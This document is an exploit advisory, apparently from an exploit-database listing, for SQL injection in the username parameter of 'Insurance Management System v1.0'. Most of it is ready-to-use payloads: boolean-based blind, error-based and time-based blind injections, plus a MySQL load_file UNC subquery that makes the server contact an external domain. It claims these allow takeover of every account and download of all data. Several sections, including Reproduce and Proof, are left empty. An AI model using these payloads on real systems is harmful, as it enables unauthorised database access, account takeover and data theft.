## Title: Insurance Management System v1.0 SQLi 
## Author: nu11secur1ty
## Vendor:
## Software:
## Reference:

## Description:
The username parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\\\xek'))+' was submitted in the username parameter. 
This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. 
The application interacted with that domain, indicating that the injected SQL query was executed.
The attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system.


[+] Payloads:

Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: username=GvWNfNIz'+(select load_file('\\\\\\xek'))+'' AND 7122=(SELECT (CASE WHEN (7122=7122) THEN 7122 ELSE (SELECT 6385 UNION SELECT 2068) END))-- -&password=y6E!b3n!T9

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=GvWNfNIz'+(select load_file('\\\\\\xek'))+'' AND (SELECT 3405 FROM(SELECT COUNT(*),CONCAT(0x7178767671,(SELECT (ELT(3405=3405,1))),0x7178627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- zJzm&password=y6E!b3n!T9

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=GvWNfNIz'+(select load_file('\\\\\\xek'))+'' AND (SELECT 5739 FROM (SELECT(SLEEP(5)))crqV)-- pBFE&password=y6E!b3n!T9


## Reproduce:

## Proof and Exploit: